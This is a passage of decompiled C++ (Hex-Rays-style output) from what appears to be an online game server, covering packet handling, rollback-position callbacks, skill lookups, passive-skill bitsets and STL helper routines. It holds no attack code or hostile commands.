(__thiscall **)(int, int, ProtocolPacket *))(v106 + 12))(v105, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 3); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2624))(v4); v107 = v4 + 68234; *(_WORD *)v107 = 0; *(_BYTE *)(v107 + 2) = 0; v117 = -1; v110 = (AbnormalStateInfo::ABSTATEINDEX)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; goto LABEL_101; } v70 = *(void **)(v4 + 98); v110 = v4; v71 = FieldMap::fm_GetGuildTournamentSystem(v70); v72 = GuildTournamentSystem::IsPlayerRegister((GuildTournamentSystem *)v71, (#331 *)v110) == 0; } if ( v72 ) goto LABEL_71; goto LABEL_72; } AssertClass::ac_AssertFail(&shineassert, "sp_NC_MAP_LOGINCOMPLETE_CMD Link", v7, v8); v117 = -1; v110 = (AbnormalStateInfo::ABSTATEINDEX)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD"; LABEL_101: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v110); } // 42A210: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_MakeMiniHouse(_DWORD); // 4C9A70: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_RemoveKQItem(_DWORD, _DWORD); // 5010D0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; // 1246F164: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (0042E8D0) -------------------------------------------------------- void *__thiscall CallBackEvent::_vector_deleting_destructor_(CallBackEvent *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CallBackEventVtbl *)&CallBackEvent::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 59D7D0: using guessed type int (__thiscall *CallBackEvent___vftable_)(void *p, char); //----- (0042E8F0) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, Name3 *pServeName, Name3 *pClientName, int nPosX, int nPosY) { RollBackPosCallBackEvent *v5; // esi@1 unsigned int v6; // eax@1 char *v7; // eax@1 unsigned int v8; // eax@1 char *v9; // eax@1 v5 = this; this->baseclass_0.vfptr = (CallBackEventVtbl *)&RollBackPosCallBackEvent::_vftable_; v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_QWORD *)v7 = *(_QWORD *)&pServeName->n3_name[0]; *((_DWORD *)v7 + 2) = *(_DWORD *)&pServeName->n3_name[8]; v7[12] = 0; strncpy(this->m_RollBackPos.linktoserver, v7, 0xCu); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_QWORD *)v9 = *(_QWORD *)&pClientName->n3_name[0]; *((_DWORD *)v9 + 2) = *(_DWORD *)&pClientName->n3_name[8]; v9[12] = 0; strncpy(v5->m_RollBackPos.linktoclient, v9, 0xCu); v5->m_RollBackPos.coordx = nPosX; v5->m_RollBackPos.coordy = nPosY; } // 59D7DC: using guessed type int (__thiscall *RollBackPosCallBackEvent___vftable_)(void *p, char); //----- (0042E990) -------------------------------------------------------- void *__thiscall RollBackPosCallBackEvent::_scalar_deleting_destructor_(RollBackPosCallBackEvent *this, unsigned int a2) { void *v2; // esi@1 v2 = this; RollBackPosCallBackEvent::_RollBackPosCallBackEvent(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0042E9B0) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::_RollBackPosCallBackEvent(RollBackPosCallBackEvent *this) { this->baseclass_0.vfptr = (CallBackEventVtbl *)&CallBackEvent::_vftable_; } // 59D7D0: using guessed type int (__thiscall *CallBackEvent___vftable_)(void *p, char); //----- (0042E9C0) -------------------------------------------------------- #error "42E9C0: undefined or illegal type '#331' (funcsize=10)" //----- (0042E9E0) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall RollBackPosCallBackEvent::GetLinkData(RollBackPosCallBackEvent *this) { return &this->m_RollBackPos; } //----- (0042E9F0) -------------------------------------------------------- void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, #331 *pTargetObject) { RollBackPosCallBackEvent *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 int v5; // eax@1 char *v6; // ecx@1 int v7; // eax@1 int v8; // eax@1 unsigned int v9; // ecx@1 char *v10; // ecx@1 v2 = this; this->baseclass_0.vfptr = (CallBackEventVtbl *)&RollBackPosCallBackEvent::_vftable_; v3 = ShineObjectClass::ShineObject::so_CurMapname((int)pTargetObject); MoveManager::MoveManager((DiceTaiSai *)v3); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v6 = (char *)&namestring + 256 * v4; *(_DWORD *)v6 = *(_DWORD *)v5; *((_DWORD *)v6 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v5 + 8); v6[12] = 0; strncpy(v2->m_RollBackPos.linktoserver, v6, 0xCu); v7 = ShineObjectClass::ShineObject::so_CurMapname((int)pTargetObject); v8 = VectorClass::VectorWithLength::vwl_GetLength(v7); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); v10[12] = 0; strncpy(v2->m_RollBackPos.linktoclient, v10, 0xCu); v2->m_RollBackPos.coordx = *(_DWORD *)ShineObjectClass::ShineObject::so_mob_LastHittedLocation((int)pTargetObject); v2->m_RollBackPos.coordy = *(_DWORD *)(ShineObjectClass::ShineObject::so_mob_LastHittedLocation((int)pTargetObject) + 4); } // 59D7DC: using guessed type int (__thiscall *RollBackPosCallBackEvent___vftable_)(void *p, char); //----- (0042EAF0) -------------------------------------------------------- GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::operator__(GatherProduce::RecipeBook *this, unsigned __int16 skl) { GatherProduce::RecipeBook::ProductIndex *v2; // ecx@1 GatherProduce::RecipeBook::ProductIndex *result; // eax@1 GatherProduce::RecipeBook::ProductIndex key; // [sp+0h] [bp-1E8h]@1 ProduceInfo pi; // [sp+4Ch] [bp-19Ch]@1 unsigned int cookie; // [sp+1E4h] [bp-4h]@1 key.index = π result = (GatherProduce::RecipeBook::ProductIndex *)this->rb_Number; v2 = this->rb_Array; pi.ProductID = skl; bsearch(&key, v2, (unsigned int)result, 0x4Cu, GatherProduce::RecipeBook::rb_Compare); __security_check_cookie(cookie); return result; } //----- (0042EB50) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::operator__(SkillDataBox *this, unsigned __int16 sub) { SkillDataBox::SkillDataIndex *v2; // ecx@1 SkillDataBox::SkillDataIndex *result; // eax@1 char key; // [sp+0h] [bp-3C4h]@1 ActiveSkillInfo *v5; // [sp+4h] [bp-3C0h]@1 ActiveSkillInfo asi; // [sp+140h] [bp-284h]@1 unsigned int cookie; // [sp+3C0h] [bp-4h]@1 v5 = &asi; result = (SkillDataBox::SkillDataIndex *)this->sdb_MaxValid; v2 = this->sdb_ValidArray; asi.ID = sub; bsearch(&key, v2, (unsigned int)result, 0x140u, SkillDataBox::sdb_compare); __security_check_cookie(cookie); return result; } //----- (0042EBE0) -------------------------------------------------------- void __thiscall PassiveMasteryVariable::PassiveMasteryVariable(PassiveMasteryVariable *this) { PassiveMasteryVariable *v1; // eax@1 PassiveMasteryVariable *v2; // ebx@1 signed int v3; // ebp@1 PassiveMasteryVariable *v4; // ecx@2 signed int v5; // esi@2 v1 = this; v2 = this; v3 = 17; do { v4 = v2; v5 = 2; do { v4->pmv_var[0][0][0] = (unsigned int *)102; v4->pmv_var[0][1][0] = (unsigned int *)142; v4 = (PassiveMasteryVariable *)((char *)v4 + 136); --v5; } while ( v5 ); v2 = (PassiveMasteryVariable *)((char *)v2 + 4); --v3; } while ( v3 ); v1->pmv_var[0][0][0] = (unsigned int *)102; v1->pmv_var[0][0][2] = (unsigned int *)102; v1->pmv_var[0][0][3] = (unsigned int *)102; v1->pmv_var[0][0][4] = (unsigned int *)102; v1->pmv_var[0][0][6] = (unsigned int *)102; v1->pmv_var[0][0][7] = (unsigned int *)102; v1->pmv_var[0][0][8] = (unsigned int *)102; v1->pmv_var[0][0][9] = (unsigned int *)102; v1->pmv_var[0][0][10] = (unsigned int *)102; v1->pmv_var[0][0][11] = (unsigned int *)102; v1->pmv_var[0][0][12] = (unsigned int *)102; v1->pmv_var[0][0][14] = (unsigned int *)102; v1->pmv_var[1][0][0] = (unsigned int *)102; v1->pmv_var[1][0][5] = (unsigned int *)102; v1->pmv_var[1][0][6] = (unsigned int *)102; v1->pmv_var[1][0][7] = (unsigned int *)102; v1->pmv_var[1][0][8] = (unsigned int *)102; v1->pmv_var[1][0][9] = (unsigned int *)102; v1->pmv_var[1][0][12] = (unsigned int *)102; v1->pmv_var[1][0][13] = (unsigned int *)102; v1->pmv_var[1][0][14] = (unsigned int *)102; v1->pmv_var[0][1][0] = (unsigned int *)142; v1->pmv_var[0][1][1] = (unsigned int *)146; v1->pmv_var[0][1][2] = (unsigned int *)142; v1->pmv_var[0][1][3] = (unsigned int *)142; v1->pmv_var[0][1][4] = (unsigned int *)142; v1->pmv_var[0][1][5] = (unsigned int *)162; v1->pmv_var[0][1][6] = (unsigned int *)142; v1->pmv_var[0][1][7] = (unsigned int *)142; v1->pmv_var[0][1][8] = (unsigned int *)142; v1->pmv_var[0][1][9] = (unsigned int *)142; v1->pmv_var[0][1][10] = (unsigned int *)142; v1->pmv_var[0][1][11] = (unsigned int *)142; v1->pmv_var[0][1][12] = (unsigned int *)142; v1->pmv_var[0][1][13] = (unsigned int *)150; v1->pmv_var[0][1][14] = (unsigned int *)142; v1->pmv_var[0][0][1] = (unsigned int *)106; v1->pmv_var[0][0][5] = (unsigned int *)122; v1->pmv_var[0][0][13] = (unsigned int *)110; v1->pmv_var[1][1][0] = (unsigned int *)142; v1->pmv_var[1][1][1] = (unsigned int *)154; v1->pmv_var[1][1][2] = (unsigned int *)166; v1->pmv_var[1][1][3] = (unsigned int *)178; v1->pmv_var[1][1][4] = (unsigned int *)158; v1->pmv_var[1][1][5] = (unsigned int *)142; v1->pmv_var[1][1][6] = (unsigned int *)142; v1->pmv_var[1][1][7] = (unsigned int *)142; v1->pmv_var[1][1][8] = (unsigned int *)142; v1->pmv_var[1][1][9] = (unsigned int *)142; v1->pmv_var[1][1][10] = (unsigned int *)170; v1->pmv_var[1][1][11] = (unsigned int *)174; v1->pmv_var[1][1][12] = (unsigned int *)142; v1->pmv_var[1][1][13] = (unsigned int *)142; v1->pmv_var[1][1][14] = (unsigned int *)142; v1->pmv_var[1][0][1] = (unsigned int *)114; v1->pmv_var[1][0][2] = (unsigned int *)126; v1->pmv_var[1][0][3] = (unsigned int *)138; v1->pmv_var[1][0][4] = (unsigned int *)118; v1->pmv_var[1][0][10] = (unsigned int *)130; v1->pmv_var[1][0][11] = (unsigned int *)134; } //----- (0042ED70) -------------------------------------------------------- void __thiscall CharacterPassiveList::CharacterPassiveList(CharacterPassiveList *this) { BitSet::BitSet(&this->cpl_Passive, 1000); } //----- (0042ED90) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 20; return result; } //----- (0042EDB0) -------------------------------------------------------- void __cdecl std::fill(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Val) { CharaterSkillList::CharSkill *i; // eax@1 CharaterSkillList::CharSkill *v4; // edi@2 for ( i = _First; i != _Last; v4->cs_bSave = _Val->cs_bSave ) { v4 = i; *(_DWORD *)&i->cs_SkillId = *(_DWORD *)&_Val->cs_SkillId; i->cs_EndOfCooltime = _Val->cs_EndOfCooltime; *(_DWORD *)&i->cs_Empower._bf0 = *(_DWORD *)&_Val->cs_Empower._bf0; i->cs_Mastery = _Val->cs_Mastery; ++i; } } //----- (0042EDF0) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Copy_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v4; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 CharaterSkillList::CharSkill *v6; // edi@2 int v7; // esi@2 v4 = _First; for ( result = _Dest; v4 != _Last; v6->cs_bSave = v7 ) { v6 = result; *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v4->cs_SkillId; result->cs_EndOfCooltime = v4->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v4->cs_Empower._bf0; result->cs_Mastery = v4->cs_Mastery; v7 = v4->cs_bSave; ++v4; ++result; } return result; } //----- (0042EE40) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Copy_backward_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v4; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; result->cs_bSave = v4->cs_bSave ) { --v4; --result; *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v4->cs_SkillId; result->cs_EndOfCooltime = v4->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v4->cs_Empower._bf0; result->cs_Mastery = v4->cs_Mastery; } return result; } //----- (0042EE90) -------------------------------------------------------- void __cdecl std::swap(CharaterSkillList::CharSkill *_Left, CharaterSkillList::CharSkill *_Right) { int v2; // edx@1 unsigned int v3; // esi@1 int v4; // edi@1 unsigned int v5; // ST1C_4@1 int v6; // ST20_4@1 v2 = *(_DWORD *)&_Left->cs_SkillId; v3 = _Left->cs_EndOfCooltime; v4 = *(_DWORD *)&_Left->cs_Empower._bf0; v5 = _Left->cs_Mastery; v6 = _Left->cs_bSave; *(_DWORD *)&_Left->cs_SkillId = *(_DWORD *)&_Right->cs_SkillId; _Left->cs_EndOfCooltime = _Right->cs_EndOfCooltime; *(_DWORD *)&_Left->cs_Empower._bf0 = *(_DWORD *)&_Right->cs_Empower._bf0; _Left->cs_Mastery = _Right->cs_Mastery; _Left->cs_bSave = _Right->cs_bSave; *(_DWORD *)&_Right->cs_SkillId = v2; _Right->cs_EndOfCooltime = v3; *(_DWORD *)&_Right->cs_Empower._bf0 = v4; _Right->cs_Mastery = v5; _Right->cs_bSave = v6; } //----- (0042EF00) -------------------------------------------------------- unsigned __int16 __thiscall CharaterSkillList::csl_MaximumSkill(CharaterSkillList *this, unsigned __int16 skill) { SkillDataBox::SkillDataIndex *v2; // eax@1 SkillDataBox::SkillDataIndex *i; // ecx@1 unsigned __int16 v4; // si@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_MaximumSkill"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_MaximumSkill"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = SkillDataBox::operator__(&skilldatabox, skill); for ( i = v2->sdi_NextSkill; i; i = i->sdi_NextSkill ) v2 = i; v4 = v2->sdi_Activ->ID; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_MaximumSkill"); return v4; } //----- (0042EF90) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_GetDelayGroup(CharaterSkillList *this, unsigned __int16 skill, int *millisec) { SkillDataBox::SkillDataIndex *v3; // eax@1 int v4; // esi@2 int result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_GetDelayGroup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = SkillDataBox::operator__(&skilldatabox, skill); if ( v3 ) { *millisec = v3->sdi_Activ->DlyTimeGroup; v4 = v3->sdi_Activ->DlyGroupNum; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = v4; } else { if ( GatherProduce::RecipeBook::operator__(&recipebook, skill) ) { *millisec = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_GetDelayGroup : Cannot found Skill", skill); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_GetDelayGroup"); result = -1; } } return result; } //----- (0042F0E0) -------------------------------------------------------- #error "42F0E0: undefined or illegal type '#440' (funcsize=75)" //----- (0042F200) -------------------------------------------------------- void __thiscall CharacterPassiveList::psl_Store(CharacterPassiveList *this, unsigned __int16 skill, Name4 *name) { CharacterPassiveList *v3; // esi@1 unsigned int v4; // eax@2 char *v5; // eax@2 int v6; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::psl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( skill < 0x3E8u ) { if ( skill < v3->cpl_Passive.bs_maxbit ) { v6 = skill & 0x80000007; if ( v6 < 0 ) LOBYTE(v6) = ((unsigned __int8)(v6 - 1) | 0xF8) + 1; v3->cpl_Passive.bs_bitlist[(unsigned int)skill >> 3] |= 1 << v6; } } else { AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", skill); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_QWORD *)v5 = *(_QWORD *)&name->n4_name[0]; *((_QWORD *)v5 + 1) = *(_QWORD *)&name->n4_name[8]; v5[16] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); } //----- (0042F320) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_Store(CharacterPassiveList *this, PROTO_NC_CHAR_SKILL_PASSIVE_CMD *data, Name4 *name) { CharacterPassiveList *v3; // ebp@1 signed int v4; // ebx@1 int *v5; // edi@2 unsigned int v6; // eax@4 char *v7; // eax@4 unsigned int v8; // ecx@5 int v9; // eax@6 int v10; // ecx@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::psl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( data->number ) { v5 = (int *)&data[1]; do { if ( *(_WORD *)v5 < 0x3E8u ) { v8 = *(_WORD *)v5; if ( v8 < v3->cpl_Passive.bs_maxbit ) { v9 = (int)&v3->cpl_Passive.bs_bitlist[v8 >> 3]; v10 = v8 & 0x80000007; if ( v10 < 0 ) LOBYTE(v10) = ((unsigned __int8)(v10 - 1) | 0xF8) + 1; *(_BYTE *)v9 |= 1 << v10; } } else { AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", *(_WORD *)v5); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_QWORD *)v7 = *(_QWORD *)&name->n4_name[0]; *((_QWORD *)v7 + 1) = *(_QWORD *)&name->n4_name[8]; v7[16] = 0; } ++v4; v5 = (int *)((char *)v5 + 2); } while ( v4 < data->number ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::psl_Store"); } //----- (0042F460) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_RecalcParam(CharacterPassiveList *this, Parameter::Container *param, ItemBag *equipment) { unsigned int v3; // ebp@1 ItemInventoryCell *v4; // edi@1 unsigned __int16 v5; // bx@1 unsigned int v6; // esi@5 ItemDataBox::ItemDataBoxIndex *v7; // eax@8 ItemInfo *v8; // ecx@9 unsigned int v9; // eax@9 unsigned int *v10; // edx@10 unsigned int *v11; // ecx@13 int v12; // eax@17 int v13; // eax@19 int v14; // eax@21 int v15; // eax@23 int v16; // eax@25 int v17; // eax@27 int v18; // eax@29 int v19; // eax@31 unsigned __int16 v20; // ax@33 int v21; // eax@35 CharacterPassiveList *v22; // [sp+10h] [bp-14h]@1 v22 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharacterPassiveList::cpl_RecalcParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharacterPassiveList::cpl_RecalcParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = equipment->vfptr->ib_GetInventoryCell(equipment, 10); v5 = *(_WORD *)((int)equipment->vfptr->ib_GetInventoryCell(equipment, 12) + 8); if ( v5 == -1 ) v5 = v4->iic_Item.iti_itemstruct.itemid; do { if ( (unsigned __int8)(1 << v3 % 8) & v22->cpl_Passive.bs_bitlist[v3 / 8] ) { if ( (signed int)(unsigned __int16)v3 >= unk_1248F0B4 ) v6 = passivedatabox.sdb_BinData.info.baseclass_0.baseclass_0.m_nFileSize; else v6 = *(_DWORD *)(unk_1248F0AC + 4 * (unsigned __int16)v3); if ( *(_DWORD *)(v6 + 66) ) { v7 = ItemDataBox::operator__(&itemdatabox, v5); if ( v7 ) { v8 = v7->data; v9 = v7->data->WeaponType; if ( v9 >= 0x11 ) v10 = pmv.pmv_var[1][1][0]; else v10 = pmv.pmv_var[0][1][v9 + 34 * (v8->TwoHand & 1)]; if ( v9 >= 0x11 ) v11 = pmv.pmv_var[1][0][0]; else v11 = pmv.pmv_var[0][0][v9 + 34 * (v8->TwoHand & 1)]; if ( v9 == 3 || v9 == 11 ) { v14 = *(unsigned int *)((char *)v10 + v6); if ( v14 ) param->PassiveSkill.Plus.MagicalWeaponMastery = v14; v15 = *(unsigned int *)((char *)v11 + v6); if ( v15 ) param->PassiveSkill.Rate.MagicalWeaponMastery = v15 + 1000; } else { v12 = *(unsigned int *)((char *)v10 + v6); if ( v12 ) param->PassiveSkill.Plus.PhisycalWeaponMastery = v12; v13 = *(unsigned int *)((char *)v11 + v6); if ( v13 ) param->PassiveSkill.Rate.PhisycalWeaponMastery = v13 + 1000; } } } v16 = *(_DWORD *)(v6 + 182); if ( v16 ) param->PassiveSkill.Plus.SPRecover = v16; v17 = *(_DWORD *)(v6 + 186); if ( v17 ) param->PassiveSkill.Plus.TB = v17; v18 = *(_DWORD *)(v6 + 194); if ( v18 ) param->PassiveSkill.Plus.Int = v18; v19 = *(_DWORD *)(v6 + 198); if ( v19 != 1000 ) param->PassiveSkill.Rate.CastingTime = v19; v20 = *(_WORD *)(v6 + 202); if ( v20 ) param->PassiveSkill.Rate.MagCriDamRate = v20; v21 = *(_DWORD *)(v6 + 190); if ( v21 ) param->PassiveSkill.Plus.MaxSP = v21; } ++v3; } while ( (signed int)v3 < 1000 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharacterPassiveList::cpl_RecalcParam"); } //----- (0042F690) -------------------------------------------------------- CharaterSkillList::CharSkill *__cdecl std::_Uninit_copy>::iterator_CharaterSkillList::CharSkill___std::allocator>(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { CharaterSkillList::CharSkill *v5; // ecx@1 CharaterSkillList::CharSkill *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->cs_SkillId = *(_DWORD *)&v5->cs_SkillId; result->cs_EndOfCooltime = v5->cs_EndOfCooltime; *(_DWORD *)&result->cs_Empower._bf0 = *(_DWORD *)&v5->cs_Empower._bf0; result->cs_Mastery = v5->cs_Mastery; result->cs_bSave = v5->cs_bSave; } ++v5; } return result; } //----- (0042F6E0) -------------------------------------------------------- void __cdecl std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { if ( _Pred(*(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First) ) std::swap( *(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First); if ( _Pred(*(CharaterSkillList::CharSkill **)&_Last, *(CharaterSkillList::CharSkill **)&_Mid) ) std::swap( *(CharaterSkillList::CharSkill **)&_Last, *(CharaterSkillList::CharSkill **)&_Mid); if ( _Pred(*(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First) ) std::swap( *(CharaterSkillList::CharSkill **)&_Mid, *(CharaterSkillList::CharSkill **)&_First); } //----- (0042F740) -------------------------------------------------------- void __cdecl std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Top, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v5; // ebx@1 int i; // edi@1 int v7; // esi@2 int v8; // eax@3 int v9; // eax@4 unsigned int v10; // edx@4 int v11; // ecx@4 unsigned int v12; // edx@4 int v13; // ecx@4 v5 = _Hole; for ( i = (_Hole - 1) / 2; _Top < v5; i = (i - 1) / 2 ) { v7 = *(_DWORD *)&_First + 20 * i; if ( !_Pred((CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * i), &_Val) ) break; *(_DWORD *)(*(_DWORD *)&_First + 20 * v5) = *(_DWORD *)v7; v8 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v8 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v8 + 12) = *(_DWORD *)(v7 + 12); *(_DWORD *)(v8 + 16) = *(_DWORD *)(v7 + 16); v5 = i; } v9 = *(_DWORD *)&_First + 20 * v5; v10 = _Val.cs_EndOfCooltime; *(_DWORD *)v9 = *(_DWORD *)&_Val; v11 = *(_DWORD *)&_Val.cs_Empower._bf0; *(_DWORD *)(v9 + 4) = v10; v12 = _Val.cs_Mastery; *(_DWORD *)(v9 + 8) = v11; v13 = _Val.cs_bSave; *(_DWORD *)(v9 + 12) = v12; *(_DWORD *)(v9 + 16) = v13; } //----- (0042F7E0) -------------------------------------------------------- void __cdecl std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, CharaterSkillList::CharSkill *a5) { std::vector >::iterator v5; // ebp@1 int v6; // edi@1 int v7; // eax@1 int v8; // esi@1 int v9; // edx@2 std::vector >::iterator v10; // edx@5 int v11; // ebx@5 int v12; // esi@6 int v13; // ecx@6 std::vector >::iterator *v14; // eax@7 int v15; // esi@9 int v16; // eax@10 int *v17; // eax@11 int v18; // [sp+10h] [bp-20h]@8 int v19; // [sp+14h] [bp-1Ch]@11 int v20; // [sp+18h] [bp-18h]@12 int _Holeval; // [sp+1Ch] [bp-14h]@6 int v22; // [sp+20h] [bp-10h]@6 int v23; // [sp+24h] [bp-Ch]@6 int v24; // [sp+28h] [bp-8h]@6 int v25; // [sp+2Ch] [bp-4h]@6 v5 = _Last; v6 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; v7 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; v8 = (*(_DWORD *)&_Mid - *(_DWORD *)&_First) / 20; if ( v6 ) { do { v9 = v7 % v8; v7 = v8; v8 = v9; } while ( v9 ); } if ( v7 < (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 && v7 > 0 ) { v10 = (std::vector >::iterator)(20 * v6); _Mid = (std::vector >::iterator)(20 * v6); v11 = *(_DWORD *)&_First + 20 * v7; _Last = (std::vector >::iterator)v7; do { _Holeval = *(_DWORD *)v11; v22 = *(_DWORD *)(v11 + 4); v23 = *(_DWORD *)(v11 + 8); v12 = 